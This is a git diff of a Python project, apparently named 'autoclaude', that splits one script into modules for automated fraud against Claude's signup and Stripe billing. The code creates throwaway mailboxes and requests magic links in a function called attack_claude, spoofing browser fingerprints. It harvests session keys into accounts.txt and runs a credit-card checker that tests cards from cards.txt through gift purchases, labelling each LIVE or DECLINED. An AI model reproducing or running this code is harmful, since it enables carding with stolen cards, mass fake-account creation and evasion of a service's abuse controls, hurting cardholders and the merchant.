+ 使用下一个系统创建用户。 + 返回 (email, 对应的 MailSystem) 或 (None, None)。 + """ + ms = self.next() + if not ms: + print("[-] 没有可用的邮箱系统") + return None, None + email = ms.create_user(email_prefix) + return email, ms + + def get_system_by_domain(self, email: str) -> MailSystem | None: + """根据邮箱域名找到对应的 MailSystem""" + domain = email.split("@")[-1] if "@" in email else "" + for ms in self.systems: + if domain in ms.domains: + return ms + return None + + @property + def count(self) -> int: + return len(self.systems) + + def info(self) -> str: + """返回所有系统的信息摘要""" + lines = [f"📬 邮箱系统池(共 {self.count} 个):"] + for i, ms in enumerate(self.systems, 1): + domains = ", ".join(ms.domains) + lines.append(f" {i}. {ms.base_url} → [{domains}]") + return "\n".join(lines) + + +def extract_magic_link(html_content): + """HTML提取出链接""" + if not html_content: + return None + + pattern = r'href="(https://claude\.ai/[^"]+)"' + match = re.search(pattern, html_content) + + if match: + url = match.group(1) + return url.replace("&", "&") + return None diff --git a/main.py b/main.py index 04c5edf..3f967b3 100644 --- a/main.py +++ b/main.py @@ -1,492 +1,57 @@ import time -import uuid import random import string -import re -import json -import base64 -import requests as standard_requests # 用于普通API交互 -from curl_cffi import requests # 用于模拟指纹 -from urllib.parse import urlparse, parse_qs -# --- 配置区域 (Configuration) --- -# cloudmail邮件系统配置 -MAIL_API_BASE = "https://xxxxx.com/" # 替换为你的邮件API域名 -ADMIN_EMAIL = "admin@xxxxx.com" # 替换你的管理员邮箱 -ADMIN_PASS = "xxxxx" # 替换你的管理员密码 -MAIL_DOMAIN = "xxxxx.com" # 你的临时邮箱域名 - -# Claude 配置 -CLAUDE_URL = "https://claude.ai/api/auth/send_magic_link" -# -UA = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36" - -# Stripe Public Key -STRIPE_PK = "pk_live_51MExQ9BjIQrRQnuxA9s9ahUkfIUHPoc3NFNidarWIUhEpwuc1bdjSJU9medEpVjoP4kTUrV2G8QWdxi9GjRJMUri005KO5xdyD" -# Gift Product ID -PRODUCT_ID = "prod_TXU4hGh2EDxASl" - - -class ClaudeAccount: - def __init__(self, email, session_key, org_uuid, user_agent): - self.email = email - self.session_key = session_key - self.org_uuid = org_uuid - self.user_agent = user_agent - self.device_id = str(uuid.uuid4()) - -class MailSystem: - def __init__(self, base_url, admin_email, admin_password): - self.base_url = base_url - self.token = self._get_token(admin_email, admin_password) - self.headers = {"Authorization": self.token} - - def _get_token(self, email, password): - """获取身份令牌,这是我们的通行证""" - url = f"{self.base_url}/api/public/genToken" - payload = {"email": email, "password": password} - try: - resp = standard_requests.post(url, json=payload) - data = resp.json() - if data['code'] == 200: - print(f"[+] 令牌获取成功: {data['data']['token'][:10]}...") - return data['data']['token'] - else: - raise Exception(f"获取Token失败: {data}") - except Exception as e: - print(f"[-] 连接邮件系统失败: {e}") - exit(1) - - def create_user(self, email_prefix): - """在你的系统里注册一个新灵魂""" - full_email = f"{email_prefix}@{MAIL_DOMAIN}" - url = f"{self.base_url}/api/public/addUser" - # 接口要求 list 结构 - payload = { - "list": [ - { - "email": full_email, - "password": "random_pass_ignoring_this" - } - ] - } - resp = standard_requests.post(url, json=payload, headers=self.headers) - if resp.json().get('code') == 200: - print(f"[+] 邮箱用户创建成功: {full_email}") - return full_email - else: - print(f"[-] 创建邮箱失败: {resp.text}") - return None - - def wait_for_email(self, to_email, retry_count=20, sleep_time=3): - """像猎人一样耐心等待猎物出现""" - url = f"{self.base_url}/api/public/emailList" - payload = { - "toEmail": to_email, - "sendName": "Anthropic", # 发件人是 Anthropic 不是 Claude - "num": 1, - "size": 10, - "timeSort": "desc" - } - - print(f"[*] 开始轮询邮件,目标: {to_email}...") - - for i in range(retry_count): - try: - resp = standard_requests.post(url, json=payload, headers=self.headers) - data = resp.json() - - if data.get('code') == 200 and data.get('data'): - emails = data['data'] - # 检查是否有来自 Claude 的邮件 - for email in emails: - # 这里可以加更严格的判断,比如 subject 包含 "sign in" - print(f"[!] 捕获到邮件! 主题: {email.get('subject')}") - return email.get('content') or email.get('text') - - print(f"[*] 轮询中 ({i+1}/{retry_count})...") - time.sleep(sleep_time) - except Exception as e: - print(f"[-] 轮询出错: {e}") - time.sleep(sleep_time) - - print("[-] 等待超时,未收到邮件。") - return None - -def extract_magic_link(html_content): - """HTML提取出链接""" - if not html_content: - return None - - pattern = r'href="(https://claude\.ai/[^"]+)"' - match = re.search(pattern, html_content) - - if match: - url = match.group(1) - return url.replace("&", "&") - return None - - -class StripeTokenizer: - def __init__(self, user_agent): - self.user_agent = user_agent - self.guid = f"{uuid.uuid4()}0a75cf" - self.muid = f"{uuid.uuid4()}1d4c1f" - self.sid = f"{uuid.uuid4()}eb67c4" - self.client_session_id = str(uuid.uuid4()) - self.elements_session_config_id = str(uuid.uuid4()) - - def get_token(self, cc_num, exp_m, exp_y, cvc): - """与 Stripe 交互获取 pm_id""" - url = "https://api.stripe.com/v1/payment_methods" - - headers = { - "Host": "api.stripe.com", - "Content-Type": "application/x-www-form-urlencoded", - "Sec-Ch-Ua-Platform": '"Linux"', - "User-Agent": self.user_agent, - "Accept": "application/json", - "Sec-Ch-Ua": '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"', - "Sec-Ch-Ua-Mobile": "?0", - "Origin": "https://js.stripe.com", - "Sec-Fetch-Site": "same-site", - "Sec-Fetch-Mode": "cors", - "Sec-Fetch-Dest": "empty", - "Referer": "https://js.stripe.com/", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-CN,zh;q=0.9", - "Priority": "u=1, i" - } - - # 构造完整的 form-data - time_on_page = random.randint(30000, 500000) - - data = { - "type": "card", - "card[number]": cc_num, - "card[cvc]": cvc, - "card[exp_year]": exp_y[-2:] if len(exp_y) == 4 else exp_y, - "card[exp_month]": exp_m, - "allow_redisplay": "unspecified", - "billing_details[address][postal_code]": "91505", - "billing_details[address][country]": "US", - "billing_details[address][line1]": "3891 Libby Street", - "billing_details[address][city]": "Burbank", - "billing_details[address][state]": "CA", - "billing_details[name]": "Test User", - "billing_details[phone]": "", - "payment_user_agent": "stripe.js/5766238eed; stripe-js-v3/5766238eed; payment-element; deferred-intent; autopm", - "referrer": "https://claude.ai", - "time_on_page": str(time_on_page), - "client_attribution_metadata[client_session_id]": self.client_session_id, - "client_attribution_metadata[merchant_integration_source]": "elements", - "client_attribution_metadata[merchant_integration_subtype]": "payment-element", - "client_attribution_metadata[merchant_integration_version]": "2021", - "client_attribution_metadata[payment_intent_creation_flow]": "deferred", - "client_attribution_metadata[payment_method_selection_flow]": "automatic", - "client_attribution_metadata[elements_session_config_id]": self.elements_session_config_id, - "client_attribution_metadata[merchant_integration_additional_elements][0]": "payment", - "client_attribution_metadata[merchant_integration_additional_elements][1]": "address", - "guid": self.guid, - "muid": self.muid, - "sid": self.sid, - "key": STRIPE_PK, - "_stripe_version": "2025-03-31.basil" - } - - try: - print(f"[*] 正在向 Stripe 请求 Token: {cc_num[:4]}******{cc_num[-4:]}") - resp = requests.post(url, data=data, headers=headers, impersonate="chrome124") - - if resp.status_code == 200: - pm_id = resp.json().get("id") - print(f"[+] Stripe Token 获取成功: {pm_id}") - return pm_id - else: - print(f"[-] Stripe 拒绝: {resp.text}") - return None - except Exception as e: - print(f"[-] Stripe 连接错误: {e}") - return None - - -class GiftChecker: - def __init__(self, account: ClaudeAccount): - self.account = account - - def purchase(self, pm_id): - """尝试购买 Gift""" - url = f"https://claude.ai/api/billing/{self.account.org_uuid}/gift/purchase" - - headers = { - "Host": "claude.ai", - "User-Agent": self.account.user_agent, - "Content-Type": "application/json", - "Accept": "*/*", - "Anthropic-Client-Version": "1.0.0", - "Anthropic-Client-Platform": "web_claude_ai", - "Anthropic-Device-Id": self.account.device_id, - "Origin": "https://claude.ai", - "Referer": "https://claude.ai/gift", - "Cookie": f"sessionKey={self.account.session_key}" - } - - payload = { - "product_id": PRODUCT_ID, - "currency": "USD", - "payment_method_id": pm_id, - "to_email": self.account.email, - "to_name": "", - "from_name": "Checker", - "from_email": self.account.email, - "gift_message": "", - "card_color": "clay", - "billing_address": { - "line1": "3891 Libby Street", - "city": "Burbank", - "state": "CA", - "postal_code": "91505", - "country": "US" - }, - "scheduled_delivery_at": None - } - - try: - print(f"[*] 正在尝试扣款 (Gift Purchase)...") - resp = requests.post(url, json=payload, headers=headers, impersonate="chrome124") - - resp_json = {} - try: - resp_json = resp.json() - except: - pass - - if resp.status_code == 200: - print("[$$$] 成功! CHARGED! 该卡有效 (Live)!") - return "LIVE" - elif resp.status_code == 402: - err_msg = resp_json.get("error", {}).get("message", "Unknown error") - print(f"[-] 支付失败 (402): {err_msg}") - - if "declined" in err_msg.lower(): - return "DECLINED" - elif "insufficient" in err_msg.lower(): - return "INSUFFICIENT_FUNDS" - elif "security code" in err_msg.lower() or "cvc" in err_msg.lower(): - print("[!] CCN LIVE (CVC 错误,说明卡号有效)") - return "CCN_LIVE" - else: - return "DEAD" - else: - print(f"[-] 未知响应 Code: {resp.status_code}, Body: {resp.text}") - return "ERROR" - - except Exception as e: - print(f"[-] 购买请求异常: {e}") - return "ERROR" - - -def attack_claude(target_email): - """伪装成浏览器发起攻击""" - device_id = str(uuid.uuid4()) - - headers = { - "Host": "claude.ai", - "Anthropic-Anonymous-Id": f"claudeai.v1.{uuid.uuid4()}", - "Sec-Ch-Ua-Full-Version-List": '"Google Chrome";v="143.0.7499.105", "Chromium";v="143.0.7499.105", "Not A(Brand";v="24.0.0.0"', - "Sec-Ch-Ua-Platform": '"Linux"', - "Sec-Ch-Ua": '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"', - "Baggage": "sentry-environment=production,sentry-release=ce5600af514463a166f4cd356a6afbc46ee5cd3d,sentry-public_key=58e9b9d0fc244061a1b54fe288b0e483,sentry-trace_id=7bdc872994f347d6b5a610a520f40401,sentry-org_id=1158394", - "Anthropic-Client-Sha": "ce5600af514463a166f4cd356a6afbc46ee5cd3d", - "Content-Type": "application/json", - "Anthropic-Client-Platform": "web_claude_ai", - "Anthropic-Device-Id": device_id, - "Anthropic-Client-Version": "1.0.0", - "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36", - "Origin": "https://claude.ai", - "Referer": "https://claude.ai/login?returnTo=%2Fonboarding", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-CN,zh;q=0.9", - "Priority": "u=1, i" - } - - payload = { - "utc_offset": -480, - "email_address": target_email, - "login_intent": None, - "locale": "en-US", - "oauth_client_id": None, - "source": "claude" - } - - try: - print(f"[*] 正在向 Claude 发送 Magic Link 请求: {target_email}") - session = requests.Session() - response = session.post( - CLAUDE_URL, - json=payload, - headers=headers, - impersonate="chrome124" - ) - - if response.status_code == 200: - print("[+] 请求成功,Claude 已发信。") - return True - elif response.status_code == 429: - print("[-] 被限流了 (Rate Limited)。") - else: - print(f"[-] 请求失败 Code: {response.status_code}, Body: {response.text}") - - except Exception as e: - print(f"[-] 发生异常: {e}") - - return False - -def finalize_login(magic_link_fragment): - """ - 完成最后一步:无需浏览器,直接交换 sessionKey。 - magic_link_fragment 格式: https://claude.ai/magic-link#token:base64_email - 返回 ClaudeAccount 对象 - """ - - # 1. 外科手术式拆解 Hash - if '#' in magic_link_fragment: - fragment = magic_link_fragment.split('#')[1] - else: - fragment = magic_link_fragment - - if ':' not in fragment: - print("[-] 链接格式错误: 找不到 token 和 email 的分隔符") - return None - - # 分割 nonce 和 base64_email - nonce, encoded_email = fragment.split(':', 1) - - try: - decoded_email = base64.b64decode(encoded_email).decode('utf-8') - print(f"[*] 解析成功 -> Email: {decoded_email} | Nonce: {nonce[:8]}...") - except: - print(f"[*] 解析成功 -> Nonce: {nonce[:8]}...") - - # 2. 构造最终 payload - verify_url = "https://claude.ai/api/auth/verify_magic_link" - - payload = { - "credentials": { - "method": "nonce", - "nonce": nonce, - "encoded_email_address": encoded_email - }, - "locale": "en-US", - "oauth_client_id": None, - "source": "claude" - } - - # 3. 伪造指纹头 - device_id = str(uuid.uuid4()) - headers = { - "Host": "claude.ai", - "Content-Type": "application/json", - "Origin": "https://claude.ai", - "Referer": "https://claude.ai/magic-link", - "User-Agent": UA, - "Accept": "*/*", - "Accept-Language": "zh-CN,zh;q=0.9", - "Anthropic-Client-Version": "1.0.0", - "Anthropic-Client-Platform": "web_claude_ai", - "Anthropic-Device-Id": device_id, - "Sec-Fetch-Dest": "empty", - "Sec-Fetch-Mode": "cors", - "Sec-Fetch-Site": "same-origin", - "Priority": "u=1, i" - } - - try: - print(f"[*] 正在交换 SessionKey...") - session = requests.Session() - response = session.post( - verify_url, - json=payload, - headers=headers, - impersonate="chrome124" - ) - - if response.status_code == 200: - data = response.json() - # 1. 提取 SessionKey - session_key = response.cookies.get("sessionKey") - - if not session_key: - for name, value in response.cookies.items(): - if name == "sessionKey": - session_key = value - break - - if not session_key: - print("[-] 请求成功 (200),但未在 Cookie 中找到 sessionKey。") - print(f"Response: {str(data)[:200]}...") - return None - - # 2. 提取 Org UUID - try: - org_uuid = data['account']['memberships'][0]['organization']['uuid'] - email = data['account']['email_address'] - print(f"[+] 登录成功。OrgID: {org_uuid}") - return ClaudeAccount(email, session_key, org_uuid, UA) - except KeyError as e: - print(f"[-] 无法提取 Organization UUID,结构可能变了: {e}") - print(f"Response keys: {data.keys() if isinstance(data, dict) else type(data)}") - return None - - else: - print(f"[-] 交换失败 Code: {response.status_code}") - print(f"Body: {response.text}") - return None - - except Exception as e: - print(f"[-] 发生异常: {e}") - return None +from config import MAIL_SYSTEMS +from mail_service import MailPool, extract_magic_link +from stripe_token import StripeTokenizer +from gift_checker import GiftChecker +from claude_auth import attack_claude, finalize_login # --- 主流程 (The Ritual) --- if __name__ == "__main__": - # 1. 初始化邮件系统 - mail_sys = MailSystem(MAIL_API_BASE, ADMIN_EMAIL, ADMIN_PASS) - + # 1. 初始化邮箱系统池 + mail_pool = MailPool(MAIL_SYSTEMS) + + if mail_pool.count == 0: + print("[-] 没有可用的邮箱系统,退出。") + exit(1) + + print(mail_pool.info()) + # 2. 生成随机邮箱并注册 - # 生成 10 位随机字符作为邮箱前缀 random_prefix = ''.join(random.choices(string.ascii_lowercase + string.digits, k=10)) - target_email = mail_sys.create_user(random_prefix) - - if target_email: + target_email, mail_sys = mail_pool.create_user(random_prefix) + + if target_email and mail_sys: # 3. 发送 Magic Link if attack_claude(target_email): - - # 4. 等待并提取链接 + + # 4. 等待并提取链接(使用创建邮箱时对应的系统) email_content = mail_sys.wait_for_email(target_email) - + if email_content: magic_link = extract_magic_link(email_content) if magic_link: print(f"[+] 捕获 Magic Link: {magic_link}") - + # --- 终极步骤:登录获取 Account --- account = finalize_login(magic_link) - + if account: print("\n" + "="*50) print(f"[+] REGISTERED SUCCESSFUL") print(f"Email: {account.email}") print(f"SessionKey: {account.session_key}") print(f"OrgUUID: {account.org_uuid}") - + with open("accounts.txt", "a") as f: f.write(f"{account.email}|{account.session_key}|{account.org_uuid}\n") - + print("="*50 + "\n") - + # --- CC Checker 流程 --- - # 从 cards.txt 读取卡片列表 (格式: CARD|MM|YY|CVC) cards = [] try: with open("cards.txt", "r") as f: @@ -497,25 +62,18 @@ if __name__ == "__main__": print(f"[*] 从 cards.txt 读取到 {len(cards)} 张卡片") except FileNotFoundError: print("[*] 未找到 cards.txt,跳过 CC Checker") - + if cards: tokenizer = StripeTokenizer(account.user_agent) checker = GiftChecker(account) - + for card_line in cards: cc, mm, yy, cvc = card_line.split("|") - - # 1. 获取 Stripe Token pm_id = tokenizer.get_token(cc, mm, yy, cvc) - + if pm_id: - # 2. 尝试购买 result = checker.purchase(pm_id) - - # 3. 输出结果 print(f"Card: {cc[:4]}... -> {result}") - - # 不要跑太快,防止封 Session time.sleep(2) else: print("[-] 获取 Account 失败。") diff --git a/models.py b/models.py new file mode 100644 index 0000000..6c6469f --- /dev/null +++ b/models.py @@ -0,0 +1,10 @@ +import uuid + + +class ClaudeAccount: + def __init__(self, email, session_key, org_uuid, user_agent): + self.email = email + self.session_key = session_key + self.org_uuid = org_uuid + self.user_agent = user_agent + self.device_id = str(uuid.uuid4()) diff --git a/pyproject.toml b/pyproject.toml index 210b2f3..6375bd2 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -6,5 +6,6 @@ readme = "README.md" requires-python = ">=3.12" dependencies = [ "curl-cffi>=0.14.0", + "python-telegram-bot>=21.0", "requests>=2.32.5", ] diff --git a/stripe_token.py b/stripe_token.py new file mode 100644 index 0000000..0efd472 --- /dev/null +++ b/stripe_token.py @@ -0,0 +1,91 @@ +import uuid +import random +from curl_cffi import requests # 用于模拟指纹 + +from config import STRIPE_PK +from identity import random_address, random_name + + +class StripeTokenizer: + def __init__(self, user_agent): + self.user_agent = user_agent + self.guid = f"{uuid.uuid4()}0a75cf" + self.muid = f"{uuid.uuid4()}1d4c1f" + self.sid = f"{uuid.uuid4()}eb67c4" + self.client_session_id = str(uuid.uuid4()) + self.elements_session_config_id = str(uuid.uuid4()) + + def get_token(self, cc_num, exp_m, exp_y, cvc): + """与 Stripe 交互获取 pm_id""" + url = "https://api.stripe.com/v1/payment_methods" + + headers = { + "Host": "api.stripe.com", + "Content-Type": "application/x-www-form-urlencoded", + "Sec-Ch-Ua-Platform": '"Linux"', + "User-Agent": self.user_agent, + "Accept": "application/json", + "Sec-Ch-Ua": '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"', + "Sec-Ch-Ua-Mobile": "?0", + "Origin": "https://js.stripe.com", + "Sec-Fetch-Site": "same-site", + "Sec-Fetch-Mode": "cors", + "Sec-Fetch-Dest": "empty", + "Referer": "https://js.stripe.com/", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9", + "Priority": "u=1, i" + } + + # 构造完整的 form-data + time_on_page = random.randint(30000, 500000) + addr = random_address() + name = random_name() + + data = { + "type": "card", + "card[number]": cc_num, + "card[cvc]": cvc, + "card[exp_year]": exp_y[-2:] if len(exp_y) == 4 else exp_y, + "card[exp_month]": exp_m, + "allow_redisplay": "unspecified", + "billing_details[address][postal_code]": addr["postal_code"], + "billing_details[address][country]": addr["country"], + "billing_details[address][line1]": addr["line1"], + "billing_details[address][city]": addr["city"], + "billing_details[address][state]": addr["state"], + "billing_details[name]": name, + "billing_details[phone]": "", + "payment_user_agent": "stripe.js/5766238eed; stripe-js-v3/5766238eed; payment-element; deferred-intent; autopm", + "referrer": "https://claude.ai", + "time_on_page": str(time_on_page), + "client_attribution_metadata[client_session_id]": self.client_session_id, + "client_attribution_metadata[merchant_integration_source]": "elements", + "client_attribution_metadata[merchant_integration_subtype]": "payment-element", + "client_attribution_metadata[merchant_integration_version]": "2021", + "client_attribution_metadata[payment_intent_creation_flow]": "deferred", + "client_attribution_metadata[payment_method_selection_flow]": "automatic", + "client_attribution_metadata[elements_session_config_id]": self.elements_session_config_id, + "client_attribution_metadata[merchant_integration_additional_elements][0]": "payment", + "client_attribution_metadata[merchant_integration_additional_elements][1]": "address", + "guid": self.guid, + "muid": self.muid, + "sid": self.sid, + "key": STRIPE_PK, + "_stripe_version": "2025-03-31.basil" + } + + try: + print(f"[*] 正在向 Stripe 请求 Token: {cc_num[:4]}******{cc_num[-4:]}") + resp = requests.post(url, data=data, headers=headers, impersonate="chrome124") + + if resp.status_code == 200: + pm_id = resp.json().get("id") + print(f"[+] Stripe Token 获取成功: {pm_id}") + return pm_id + else: + print(f"[-] Stripe 拒绝: {resp.text}") + return None + except Exception as e: + print(f"[-] Stripe 连接错误: {e}") + return None diff --git a/uv.lock b/uv.lock index 829c8e9..1b01890 100644 --- a/uv.lock +++ b/uv.lock @@ -1,6 +1,23 @@ version = 1 revision = 3 requires-python = ">=3.12" +resolution-markers = [ + "python_full_version >= '3.14'", + "python_full_version < '3.14'", +] + +[[package]] +name = "anyio" +version = "4.12.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "idna" }, + { name = "typing-extensions", marker = "python_full_version < '3.13'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/96/f0/5eb65b2bb0d09ac6776f2eb54adee6abe8228ea05b20a5ad0e4945de8aac/anyio-4.12.1.tar.gz", hash = "sha256:41cfcc3a4c85d3f05c932da7c26d0201ac36f72abd4435ba90d0464a3ffed703", size = 228685, upload-time = "2026-01-06T11:45:21.246Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/38/0e/27be9fdef66e72d64c0cdc3cc2823101b80585f8119b5c112c2e8f5f7dab/anyio-4.12.1-py3-none-any.whl", hash = "sha256:d405828884fc140aa80a3c667b8beed277f1dfedec42ba031bd6ac3db606ab6c", size = 113592, upload-time = "2026-01-06T11:45:19.497Z" }, +] [[package]] name = "autoclaude" @@ -8,12 +25,14 @@ version = "0.1.0" source = { virtual = "." } dependencies = [ { name = "curl-cffi" }, + { name = "python-telegram-bot" }, { name = "requests" }, ] [package.metadata] requires-dist = [ { name = "curl-cffi", specifier = ">=0.14.0" }, + { name = "python-telegram-bot", specifier = ">=21.0" }, { name = "requests", specifier = ">=2.32.5" }, ] @@ -163,6 +182,43 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/5c/7c/d2ba86b0b3e1e2830bd94163d047de122c69a8df03c5c7c36326c456ad82/curl_cffi-0.14.0-cp39-abi3-win_arm64.whl", hash = "sha256:2eed50a969201605c863c4c31269dfc3e0da52916086ac54553cfa353022425c", size = 1425067, upload-time = "2025-12-16T03:25:06.454Z" }, ] +[[package]] +name = "h11" +version = "0.16.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/01/ee/02a2c011bdab74c6fb3c75474d40b3052059d95df7e73351460c8588d963/h11-0.16.0.tar.gz", hash = "sha256:4e35b956cf45792e4caa5885e69fba00bdbc6ffafbfa020300e549b208ee5ff1", size = 101250, upload-time = "2025-04-24T03:35:25.427Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/04/4b/29cac41a4d98d144bf5f6d33995617b185d14b22401f75ca86f384e87ff1/h11-0.16.0-py3-none-any.whl", hash = "sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86", size = 37515, upload-time = "2025-04-24T03:35:24.344Z" }, +] + +[[package]] +name = "httpcore" +version = "1.0.9" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "certifi" }, + { name = "h11" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/06/94/82699a10bca87a5556c9c59b5963f2d039dbd239f25bc2a63907a05a14cb/httpcore-1.0.9.tar.gz", hash = "sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff6e176e8", size = 85484, upload-time = "2025-04-24T22:06:22.219Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7e/f5/f66802a942d491edb555dd61e3a9961140fd64c90bce1eafd741609d334d/httpcore-1.0.9-py3-none-any.whl", hash = "sha256:2d400746a40668fc9dec9810239072b40b4484b640a8c38fd654a024c7a1bf55", size = 78784, upload-time = "2025-04-24T22:06:20.566Z" }, +] + +[[package]] +name = "httpx" +version = "0.28.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "anyio" }, + { name = "certifi" }, + { name = "httpcore" }, + { name = "idna" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/b1/df/48c586a5fe32a0f01324ee087459e112ebb7224f646c0b5023f5e79e9956/httpx-0.28.1.tar.gz", hash = "sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc", size = 141406, upload-time = "2024-12-06T15:37:23.222Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/2a/39/e50c7c3a983047577ee07d2a9e53faf5a69493943ec3f6a384bdc792deb2/httpx-0.28.1-py3-none-any.whl", hash = "sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59ad", size = 73517, upload-time = "2024-12-06T15:37:21.509Z" }, +] + [[package]] name = "idna" version = "3.11" @@ -181,6 +237,19 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/0c/c3/44f3fbbfa403ea2a7c779186dc20772604442dde72947e7d01069cbe98e3/pycparser-3.0-py3-none-any.whl", hash = "sha256:b727414169a36b7d524c1c3e31839a521725078d7b2ff038656844266160a992", size = 48172, upload-time = "2026-01-21T14:26:50.693Z" }, ] +[[package]] +name = "python-telegram-bot" +version = "22.6" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "httpcore", marker = "python_full_version >= '3.14'" }, + { name = "httpx" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/cd/9b/8df90c85404166a6631e857027866263adb27440d8af1dbeffbdc4f0166c/python_telegram_bot-22.6.tar.gz", hash = "sha256:50ae8cc10f8dff01445628687951020721f37956966b92a91df4c1bf2d113742", size = 1503761, upload-time = "2026-01-24T13:57:00.269Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/13/97/7298f0e1afe3a1ae52ff4c5af5087ed4de319ea73eb3b5c8c4dd4e76e708/python_telegram_bot-22.6-py3-none-any.whl", hash = "sha256:e598fe171c3dde2dfd0f001619ee9110eece66761a677b34719fb18934935ce0", size = 737267, upload-time = "2026-01-24T13:56:58.06Z" }, +] + [[package]] name = "requests" version = "2.32.5" @@ -196,6 +265,15 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/1e/db/4254e3eabe8020b458f1a747140d32277ec7a271daf1d235b70dc0b4e6e3/requests-2.32.5-py3-none-any.whl", hash = "sha256:2462f94637a34fd532264295e186976db0f5d453d1cdd31473c85a6a161affb6", size = 64738, upload-time = "2025-08-18T20:46:00.542Z" }, ] +[[package]] +name = "typing-extensions" +version = "4.15.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/72/94/1a15dd82efb362ac84269196e94cf00f187f7ed21c242792a923cdb1c61f/typing_extensions-4.15.0.tar.gz", hash = "sha256:0cea48d173cc12fa28ecabc3b837ea3cf6f38c6d1136f85cbaaf598984861466", size = 109391, upload-time = "2025-08-25T13:49:26.313Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/18/67/36e9267722cc04a6b9f15c7f3441c2363321a3ea07da7ae0c0707beb2a9c/typing_extensions-4.15.0-py3-none-any.whl", hash = "sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548", size = 44614, upload-time = "2025-08-25T13:49:24.86Z" }, +] + [[package]] name = "urllib3" version = "2.6.3"